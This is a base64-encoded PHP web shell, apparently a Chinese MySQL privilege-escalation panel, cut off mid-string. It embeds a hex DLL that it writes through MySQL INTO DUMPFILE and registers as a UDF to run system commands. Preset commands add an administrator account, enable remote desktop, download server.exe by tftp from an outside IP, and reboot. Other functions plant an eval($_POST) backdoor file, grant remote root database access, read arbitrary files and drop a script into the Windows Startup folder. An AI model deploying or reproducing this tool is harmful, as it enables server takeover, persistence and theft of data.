GRkZGRkJGMEMxMzdGMEExQ0YwRjIwMDA3MTk0MjEyMzEwQzBCMEYwQUYwMDMwMkYwNEQwMTJDMEMxQzE5MUEwODExRjZFRDVCRkIwNTBEMDVGMDA1NDlCRjA1MzgwQzA3NTcwNzBBMTkwODhFREJBREZEREIwNTY2M0EwODFBMDYxMTE5MEM3MTEzMDgxRTA5MTdGNkZGMEI2RjE3NjIxODA2NDIyMjE0MzIwNzE1MzIwQTIxMTUyNDJBMEUzMTFDRjZERjZFRkYyMTI1MEYwRjMyMTA0M0NCMTQwRTQ3MDY1QjA3NDg0NUUzMTkzNTM5REJERjZFRkYwQzEwM0Y1MDEzM0UxMjgyMjYwRDhFMTMyNzBGNDIxNDFFNkQxNTdDRkJGRjZGQUEwRTEzNzcwRDI1MUMxMzc0QTA0RDE4MTU0QTQ4MTcxMkUzMDg0QjI1MTI4NDJGNkMyRjQ3NTUwMTE4RUYwNTFEMjkyNjFBMDcyODQyRUVERTFENEEwNjA0NjYwQjFCMDcxNjFEMkEzMkZGQjdCNzdGNzIyODA2MEMzQjA4Mjk3MTBEMEMyMzRGNjAzOTE1MEQzRDIyMDg0QzBGMTk2MTVCRkJGRjI2MkUwRjIwMjIyRDE0M0EwNzI2MTgxQTBCODNBNjdDNTZEQkZGRkYxMzhBRjBGQjAwNzkwQzE1MEIyRUYwRDkwMTFDMEQwRDEzMDkwQzMyQzIyMUI3NjY3OEUxMDYyMTBBMUQwODE3MTVBOTE5RTgwQjBBRkJERjBBMEI2RTQzMkMwMDE5MDY2RjA2MUUxMTEzMTUxRUY5NTA2ODg1N0YxMDIxMEMxMjBFMEYxMTc1OTY0N0JGRjAwQkNEQjg1QzdFRjA1NjAxMUU1NTBGMEFDNjBBODkwNTBCRkZCRkI1MUY0QzM1MDgwRTFFMUQxODIwNTgxNjMzNjgyNTQ2MDUwMzA3MTdGRUFENkRGQzEwM0QxMDU2MTJGMDNFMDFFQzQ4QjI0RjMwQkQ3MUUxQjc1QjA0NUUyRjBGNTgzOEVBM0M3RDM4MTAwNDBDRkI3NkYzODMwMUYwQjQwMzA0MDhGMEFDMEEwREYwMTQwMTA0MTdDODkxNUQ3RTIwMTAxMDg0MDgwMjA4MDAwNDY0NTMyMDNGRjAyNDA2MDgwNDEwMDlGOTJGNzFFOTBDOUM2NDUwNDVBNTRDMDEwNDAwQjI5NzZBNDZBQTRFRjkwRkUwMDAwRTIxMEIwMTA2MjY0QjAwNEYyNkE5MjQ0MTEwQkRFQzNDRkIwOTEwMEYwNDAwMDcwMEQwQjIzN0U5ODIyNzJBMDIwMjA3OUI2RDdFRDgxRThEMDAwMDcxQzg4NjYyMDI4NUI5NjUwQUMwNjQ4QTAwMkI4Q0FBNEJBNzQ0QjAxMDBDNzZGOTJFNzQ2NTc4NzQ0NjYxOTA3MEUyQUQyQTY1NzRDRDYwMkU3MjEyNjY5RDJCQzFBQjBENTMwM0ZCNUU3M0Q5MDI0MDJFMjZDRjI0MjdCNjI5MTlBNDkwOTBDMDRGNjUxOUVDNkIwRjdENTg0RkMwMjdBMDZGNkVCRjI5NDIxQjVDODgxMDUxQzQ4OUM3MDAwMDAwMDAwMDAwMDA4MDA0MDBGRjAwODA3QzI0MDgwMTBGODVDMjAxMDAwMDYwQkUwMEEwMDAxMDhEQkUwMDcwRkZGRjU3ODNDREZGRUIwRDkwOTA5MDhBMDY0Njg4MDc0NzAxREI3NTA3OEIxRTgzRUVGQzExREI3MkVEQjgwMTAwMDAwMDAxREI3NTA3OEIxRTgzRUVGQzExREIxMUMwMDFEQjczRUY3NTA5OEIxRTgzRUVGQzExREI3M0U0MzFDOTgzRTgwMzcyMERDMUUwMDg4QTA2NDY4M0YwRkY3NDc0ODlDNTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5MDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzk3NTIwNDEwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTAxREI3M0VGNzUwOThCMUU4M0VFRkMxMURCNzNFNDgzQzEwMjgxRkQwMEYzRkZGRjgzRDEwMThEMTQyRjgzRkRGQzc2MEY4QTAyNDI4ODA3NDc0OTc1RjdFOTYzRkZGRkZGOTA4QjAyODNDMjA0ODkwNzgzQzcwNDgzRTkwNDc3RjEwMUNGRTk0Q0ZGRkZGRjVFODlGN0I5OTYwMTAwMDA4QTA3NDcyQ0U4M0MwMTc3Rjc4MDNGMEE3NUYyOEIwNzhBNUYwNDY2QzFFODA4QzFDMDEwODZDNDI5Rjg4MEVCRTgwMUYwODkwNzgzQzcwNTg4RDhFMkQ5OERCRTAwQzAwMDAwOEIwNzA5QzA3NDQ1OEI1RjA0OEQ4NDMwMDBFMDAwMDAwMUYzNTA4M0M3MDhGRjk2NTBFMDAwMDA5NThBMDc0NzA4QzA3NERDODlGOTc5MDcwRkI3MDc0NzUwNDdCOTU3NDhGMkFFNTVGRjk2NTRFMDAwMDAwOUMwNzQwNzg5MDM4M0MzMDRFQkQ4NjEzMUMwQzIwQzAwODNDNzA0OEQ1RUZDMzFDMDhBMDc0NzA5QzA3NDIyM0NFRjc3MTEwMUMzOEIwMzg2QzRDMUMwMTA4NkM0MDFGMDg5MDNFQkUyMjQwRkMxRTAxMDY2OEIwNzgzQzcwMkVCRTI4QkFFNThFMDAwMDA4REJFMDBGMEZGRkZCQjAwMTAwMDAwNTA1NDZBMDQ1MzU3RkZENThEODdGRjAxMDAwMDgwMjA3RjgwNjAyODdGNTg1MDU0NTA1MzU3RkZENTU4NjE4RDQ0MjQ4MDZBMDAzOUM0NzVGQTgzRUM4MEU5QzczQ0ZGRkYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA3MEYwMDAwMDUwRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwN0RGMDAwMDA2MEYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDg4RjAwMDAwNjhGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOTJGMDAwMDBBMEYwMDAwMEIwRjAwMDAwMDAwMDAwMDBDMEYwMDAwMDAwMDAwMDAwNzMwMDAwODAwMDAwMDAwMDRCNDU1MjRFNDU0QzMzMzIyRTQ0NEM0QzAwNzU3MjZDNkQ2RjZFMkU2NDZDNkMwMDU3NTMzMjVGMzMzMjJFNjQ2QzZDMDAwMDRDNkY2MTY0NEM2OTYyNzI2MTcyNzk0MTAwMDA0NzY1NzQ1MDcyNkY2MzQxNjQ2NDcyNjU3MzczMDAwMDU2Njk3Mjc0NzU2MTZDNTA3MjZGNzQ2NTYzNzQwMDAwNTU1MjRDNDQ2Rjc3NkU2QzZGNjE2NDU0NkY0NjY5NkM2NTQxMDAwMDAwMDAwMDAwMDAwMEIxOTc2QTQ2MDAwMDAwMDAxRUYxMDAwMDAxMDAwMDAwMDMwMDAwMDAwMzAwMDAwMDAwRjEwMDAwMENGMTAwMDAxOEYxMDAwMDkwMTAwMDAwOTAxNTAwMDA4MDEwMDAwMDJCRjEwMDAwMzFGMTAwMDAzRUYxMDAwMDAwMDAwMTAwMDIwMDZENzk3MzcxNkM0NDZDNkMyRTY0NkM2QzAwNzM3NDYxNzQ2NTAwNzM3NDYxNzQ2NTVGNjQ2NTY5NkU2OTc0MDA3Mzc0NjE3NDY1NUY2OTZFNjk3NDAwMDAwMDAwMDBFMDAwMDAwQzAwMDAwMDFEMzYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIjsKfQoKZnVuY3Rpb24gTXlzcWxfbSgpCnsKCSRNU0dfQk9YID0gJ8frz8i1vLP2RExMLNTZ1rTQ0MP8we4uTVlTUUzTw7unsdjQ686qcm9vdMioz94stbyz9sK3vrax2NDrxNy809TYRExMzsS8/i4nOwoJJGluZm8gPSAnw/zB7rvYz9QnOwoJJG1ob3N0ID0gJ2xvY2FsaG9zdCc7ICRtdXNlciA9ICdyb290JzsgJG1wb3J0ID0gJzMzMDYnOyAkbXBhc3MgPSAnJzsgJG1kYXRhID0gJ215c3FsJzsgJG1wYXRoID0gJ0M6L3dpbmRvd3MvbXlzcWxEbGwuZGxsJzsgJHNxbGNtZCA9ICd2ZXInOwoJaWYoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pKQoJewoJCSRtaG9zdCA9ICRfUE9TVFsnbWhvc3QnXTsgJG11c2VyID0gJF9QT1NUWydtdXNlciddOyAkbXBhc3MgPSAkX1BPU1RbJ21wYXNzJ107ICRtZGF0YSA9ICRfUE9TVFsnbWRhdGEnXTsgJG1wb3J0ID0gJF9QT1NUWydtcG9ydCddOyAkbXBhdGggPSBGaWxlX1N0cigkX1BPU1RbJ21wYXRoJ10pOyAkc3FsY21kID0gJF9QT1NUWydzcWxjbWQnXTsKCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJG1ob3N0Lic6Jy4kbXBvcnQsJG11c2VyLCRtcGFzcyk7CgkJaWYoJGNvbm4pCgkJewoJCQlAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7CgkJCWlmKCghZW1wdHkoJF9QT1NUWydvdXRkbGwnXSkpICYmICghZW1wdHkoJF9QT1NUWydtcGF0aCddKSkpCgkJCXsKCQkJCSRxdWVyeSA9ICJDUkVBVEUgVEFCTEUgU3BpZGVyX1RlbXBfVGFiIChzcGlkZXIgQkxPQik7IjsKCQkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQoJCQkJewoJCQkJCSRzaGVsbGNvZGUgPSBNeXNxbF9zaGVsbGNvZGUoKTsKCQkJCQkkcXVlcnkgPSAiSU5TRVJUIGludG8gU3BpZGVyX1RlbXBfVGFiIHZhbHVlcyAoQ09OVkVSVCgiLiRzaGVsbGNvZGUuIixDSEFSKSk7IjsKCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkKCQkJCQl7CgkJCQkJCSRxdWVyeSA9ICdTRUxFQ1Qgc3BpZGVyIEZST00gU3BpZGVyX1RlbXBfVGFiIElOVE8gRFVNUEZJTEUgXCcnLiRtcGF0aC4nXCc7JzsKCQkJCQkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpCgkJCQkJCXsKCQkJCQkJCSRhcCA9IGV4cGxvZGUoJy8nLCAkbXBhdGgpOyAkaW5wYXRoID0gYXJyYXlfcG9wKCRhcCk7CgkJCQkJCQkkcXVlcnkgPSAnQ3JlYXRlIEZ1bmN0aW9uIHN0YXRlIHJldHVybnMgc3RyaW5nIHNvbmFtZSBcJycuJGlucGF0aC4nXCc7JzsKCQkJCQkJCSRNU0dfQk9YID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnsLLXsERMTLPJuaYnIDogJ7Cy17BETEzKp7DcJzsKCQkJCQkJfQoJCQkJCQllbHNlICRNU0dfQk9YID0gJ7W8s/ZETEzOxLz+yqew3Cc7CgkJCQkJfQoJCQkJCWVsc2UgJE1TR19CT1ggPSAn0LTI68HZyrGx7cqnsNwnOwoJCQkJCUBteXNxbF9xdWVyeSgnRFJPUCBUQUJMRSBTcGlkZXJfVGVtcF9UYWI7JywkY29ubik7CgkJCQl9CgkJCQllbHNlICRNU0dfQk9YID0gJ7S0vajB2cqxse3Kp7DcJzsKCQkJfQoJCQlpZighZW1wdHkoJF9QT1NUWydydW5jbWQnXSkpCgkJCXsKCQkJCSRxdWVyeSA9ICdzZWxlY3Qgc3RhdGUoIicuJHNxbGNtZC4nIik7JzsKCQkJCSRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsKCQkJCWlmKCRyZXN1bHQpCgkJCQl7CgkJCQkJJGsgPSAwOyAkaW5mbyA9IE5VTEw7CgkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7JGluZm90bXAgLj0gJHJvd1ska107JGsrKzt9CgkJCQkJJGluZm8gPSAkaW5mb3RtcDsKCQkJCQkkTVNHX0JPWCA9ICfWtNDQs8m5pic7CgkJCQl9CgkJCQllbHNlICRNU0dfQk9YID0gJ9a00NDKp7DcJzsKCQkJfQoJCX0KCQllbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOwoJfQpwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRnVsbG0oaSl7CglTdHIgPSBuZXcgQXJyYXkoMTEpOwoJU3RyWzBdID0gInZlciI7CglTdHJbMV0gPSAibmV0IHVzZXIgc3BpZGVyIHNwaWRlciAvYWRkIjsKCVN0clsyXSA9ICJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBzcGlkZXIgL2FkZCI7CglTdHJbM10gPSAibmV0IHN0YXJ0IFRlcm1pbmFsIFNlcnZpY2VzIjsKCVN0cls0XSA9ICJuZXRzdGF0IC1hbiI7CglTdHJbNV0gPSAiaXBjb25maWciOwoJU3RyWzZdID0gIm5ldCB1c2VyIGd1ZXN0IC9hY3RpdmU6eWVzIjsKCVN0cls3XSA9ICJjb3B5IGM6XFxcXDEucGhwIGQ6XFxcXDIucGhwIjsKCVN0cls4XSA9ICJ0ZnRwIC1pIDIxOS4xMzQuNDYuMjQ1IGdldCBzZXJ2ZXIuZXhlIGM6XFxcXHNlcnZlci5leGUiOwoJU3RyWzldID0gIm5ldCBzdGFydCB0ZWxuZXQiOwoJU3RyWzEwXSA9ICJzaHV0ZG93biAtciAtdCAwIjsKCW1mb3JtLnNxbGNtZC52YWx1ZSA9IFN0cltpXTsKCXJldHVybiB0cnVlOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im1mb3JtIiBpZD0ibWZvcm0iIGFjdGlvbj0iP3M9bSI+CjxkaXYgaWQ9Im1zZ2JveCIgY2xhc3M9Im1zZ2JveCI+eyRNU0dfQk9YfTwvZGl2Pgo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+CrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0ieyRtcG9ydH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CtPDu6cgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im11c2VyIiB2YWx1ZT0ieyRtdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+Cr/iw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1kYXRhIiB2YWx1ZT0ieyRtZGF0YX0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+Cr/JvNPU2MK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXRoIiB2YWx1ZT0ieyRtcGF0aH0iIHN0eWxlPSJ3aWR0aDo1NTVweCI+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJvdXRkbGwiIHZhbHVlPSKwstewRExMIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPrCy17CzybmmuvO/ydPDIDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsY21kIiB2YWx1ZT0ieyRzcWxjbWR9IiBzdHlsZT0id2lkdGg6NTE1cHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIEZ1bGxtKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3D/MHuvK+6zy0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPsztvNO53MDt1LE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+yejOqrncwO3X6Twvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj6/qsb01LazzNfAw+Y8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCI+sum/tLbLv9o8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+sum/tElQPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPryku+5ndWVzdNXKu6c8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNyI+uLTWxs7EvP48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOCI+ZnRwz8LU2Dwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5Ij6/qsb0dGVsbmV0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj7W2Mb0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJydW5jbWQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPgo8dGV4dGFyZWEgc3R5bGU9IndpZHRoOjcyMHB4O2hlaWdodDozMDBweDsiPnskaW5mb308L3RleHRhcmVhPgo8L2Rpdj48L2NlbnRlcj4KPC9mb3JtPgpFTkQ7CglyZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gTXlzcWxfbigpCnsKCSRNU0dfQk9YID0gJyc7CgkkbWhvc3QgPSAnbG9jYWxob3N0JzsgJG11c2VyID0gJ3Jvb3QnOyAkbXBvcnQgPSAnMzMwNic7ICRtcGFzcyA9ICcnOyAkbWRhdGEgPSAnbXlzcWwnOyAkbXNxbCA9ICdzZWxlY3QgdmVyc2lvbigpOyc7CglpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpCgl7CgkJJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOyAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107ICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsgJG1kYXRhID0gJF9QT1NUWydtZGF0YSddOyAkbXBvcnQgPSAkX1BPU1RbJ21wb3J0J107CgkJaWYoJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpKSBAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7CgkJZWxzZSAkTVNHX0JPWCA9ICfBrL3TTVlTUUzKp7DcJzsKCX0KCSRkb3duZmlsZSA9ICdjOi93aW5kb3dzL3JlcGFpci9zYW0nOwoJaWYoIWVtcHR5KCRfUE9TVFsnZG93bmZpbGUnXSkpCgl7CgkJJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsKCQkkYmlucGF0aCA9IGJpbjJoZXgoJGRvd25maWxlKTsKCQkkcXVlcnkgPSAnc2VsZWN0IGxvYWRfZmlsZSgweCcuJGJpbnBhdGguJyknOwoJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkKCQl7CgkJCSRrID0gMDsgJGRvd25jb2RlID0gJyc7CgkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRkb3duY29kZSAuPSAkcm93WyRrXTskaysrO30KCQkJJGZpbGVkb3duID0gYmFzZW5hbWUoJGRvd25maWxlKTsKCQkJaWYoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ3NwaWRlci50bXAnOwoJCQkkYXJyYXkgPSBleHBsb2RlKCcuJywgJGZpbGVkb3duKTsKCQkJJGFycmF5ZW5kID0gYXJyYXlfcG9wKCRhcnJheSk7CgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsKCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlZG93bik7CgkJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuc3RybGVuKCRkb3duY29kZSkpOwoJCQllY2hvICRkb3duY29kZTsKCQkJZXhpdDsKCQl9CgkJZWxzZSAkTVNHX0JPWCA9ICfPwtTYzsS8/sqnsNwnOwoJfQoJJG8gPSBpc3NldCgkX0dFVFsnbyddKSA/ICRfR0VUWydvJ10gOiAnJzsKCVJvb3RfQ1NTKCk7CnByaW50PDw8RU5ECjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ibmZvcm0iIGlkPSJuZm9ybSIgYWN0aW9uPSI/cz1uJm89eyRvfSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1uIj5bTVlTUUzWtNDQ0+++5F08L2E+IAo8YSBocmVmPSI/cz1uJm89dSI+W01ZU1FMyc+0q87EvP5dPC9hPiAKPGEgaHJlZj0iP3M9biZvPWQiPltNWVNRTM/C1NjOxLz+XTwvYT48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj4KtdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Ktsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBvcnQiIHZhbHVlPSJ7JG1wb3J0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kw9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kv+LD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWRhdGEiIHZhbHVlPSJ7JG1kYXRhfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4KPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDoyMjBweDsiPgpFTkQ7CmlmKCRvID09ICd1JykKewoJJHVwcGF0aCA9ICdDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavL2V4cC52YnMnOwoJaWYoIWVtcHR5KCRfUE9TVFsndXBwYXRoJ10pKQoJewoJCSR1cHBhdGggPSAkX1BPU1RbJ3VwcGF0aCddOwoJCSRxdWVyeSA9ICdDcmVhdGUgVEFCTEUgYSAoY21kIHRleHQgTk9UIE5VTEwpOyc7CgkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpCgkJewoJCQlpZigkdG1wY29kZSA9IEZpbGVfUmVhZCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpeyRmaWxlY29kZSA9IGJpbjJoZXgoRmlsZV9SZWFkKCR0bXBjb2RlKSk7fQoJCQllbHNleyR0bXAgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSkuJy91cGZpbGUudG1wJztpZihGaWxlX1VwKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddLCR0bXApKXskZmlsZWNvZGUgPSBiaW4yaGV4KEZpbGVfUmVhZCgkdG1wKSk7QHVubGluaygkdG1wKTt9fQoJCQkkcXVlcnkgPSAnSW5zZXJ0IElOVE8gYSAoY21kKSBWQUxVRVMoQ09OVkVSVCgweCcuJGZpbGVjb2RlLicsQ0hBUikpOyc7CgkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQoJCQl7CgkJCQkkcXVlcnkgPSAnU0VMRUNUIGNtZCBGUk9NIGEgSU5UTyBEVU1QRklMRSBcJycuJHVwcGF0aC4nXCc7JzsKCQkJCSRNU0dfQk9YID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnyc+0q87EvP6zybmmJyA6ICfJz7SrzsS8/sqnsNwnOwoJCQl9CgkJCWVsc2UgJE1TR19CT1ggPSAnsuXI68HZyrGx7cqnsNwnOwoJCQlAbXlzcWxfcXVlcnkoJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTIGE7JywkY29ubik7CgkJfQoJCWVsc2UgJE1TR19CT1ggPSAntLS9qMHZyrGx7cqnsNwnOwoJfQpwcmludDw8PEVORAo8YnI+PGJyPsnPtKvCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cHBhdGgiIHZhbHVlPSJ7JHVwcGF0aH0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+Cjxicj48YnI+0aHU8c7EvP4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwZmlsZSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDoyMnB4OyI+CjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+CkVORDsKfQplbHNlaWYoJG8gPT0gJ2QnKQp7CnByaW50PDw8RU5ECjxicj48YnI+PGJyPs/C1NjOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb3duZmlsZSIgdmFsdWU9InskZG93bmZpbGV9IiBzdHlsZT0id2lkdGg6NTAwcHgiPgo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLPwtTYIiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7Cn0KZWxzZQp7CglpZighZW1wdHkoJF9QT1NUWydtc3FsJ10pKQoJewoJCSRtc3FsID0gJF9QT1NUWydtc3FsJ107CgkJaWYoJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkbXNxbCwkY29ubikpCgkJewoJCQkkTVNHX0JPWCA9ICfWtNDQU1FM0+++5LPJuaY8YnI+JzsKCQkJJGsgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskTVNHX0JPWCAuPSAkcm93WyRrXTskaysrO30KCQl9CgkJZWxzZSAkTVNHX0JPWCAuPSBteXNxbF9lcnJvcigpOwoJfQpwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gbkZ1bGwoaSl7CglTdHIgPSBuZXcgQXJyYXkoMTEpOwoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsKCVN0clsxXSA9ICJzZWxlY3QgbG9hZF9maWxlKDB4NjMzQTVDNUM3NzY5NkU2NDZGNzc3MzVDNzM3OTczNzQ2NTZEMzMzMjVDNUM2OTZFNjU3NDczNzI3NjVDNUM2RDY1NzQ2MTYyNjE3MzY1MkU3ODZENkMpIEZST00gdXNlciBpbnRvIG91dGZpbGUgJ0Q6L3dlYi9paXMudHh0JyI7CglTdHJbMl0gPSAic2VsZWN0ICc8P3BocCBldmFsKFwkX1BPU1RbY21kXSk7Pz4nIGludG8gb3V0ZmlsZSAnRjovd2ViL2Jhay5waHAnOyI7CglTdHJbM10gPSAiR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gKi4qIFRPICdyb290J0AnJScgSURFTlRJRklFRCBCWSAnMTIzNDU2JyBXSVRIIEdSQU5UIE9QVElPTjsiOwoJbmZvcm0ubXNxbC52YWx1ZSA9IFN0cltpXTsKCXJldHVybiB0cnVlOwp9Cjwvc2NyaXB0Pgo8dGV4dGFyZWEgbmFtZT0ibXNxbCIgc3R5bGU9IndpZHRoOjcwMHB4O2hlaWdodDoyMDBweDsiPnskbXNxbH08L3RleHRhcmVhPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPgo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gbkZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPgoJPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+z9TKvrDmsb48L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjEiPrW8s/bOxLz+PC9vcHRpb24+C